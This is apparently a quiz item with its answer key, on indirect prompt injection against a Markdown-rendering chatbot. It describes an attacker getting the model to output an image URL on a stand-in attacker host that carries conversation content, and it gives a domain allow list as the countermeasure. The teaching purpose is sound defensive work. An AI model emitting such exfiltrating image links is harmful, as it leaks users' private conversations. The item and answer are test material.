Prompt Injection · Question 12 of 12
A chatbot renders answers as Markdown. Through indirect prompt injection, an attacker makes the model output an image with the address https://angreifer.example/p.png?d=<conversation content>. Which countermeasure is most effective?
1 answer is correct. Hard Created with AI
Show answer
Answer
- A Loading or rendering images and links in output only from approved domains
Explanation
The browser loads the image automatically and in doing so sends the data in the address to the attacker. A domain allow list in the renderer breaks this path regardless of whether the model was deceived. HTTPS only protects the transmission, not against the wrong recipient.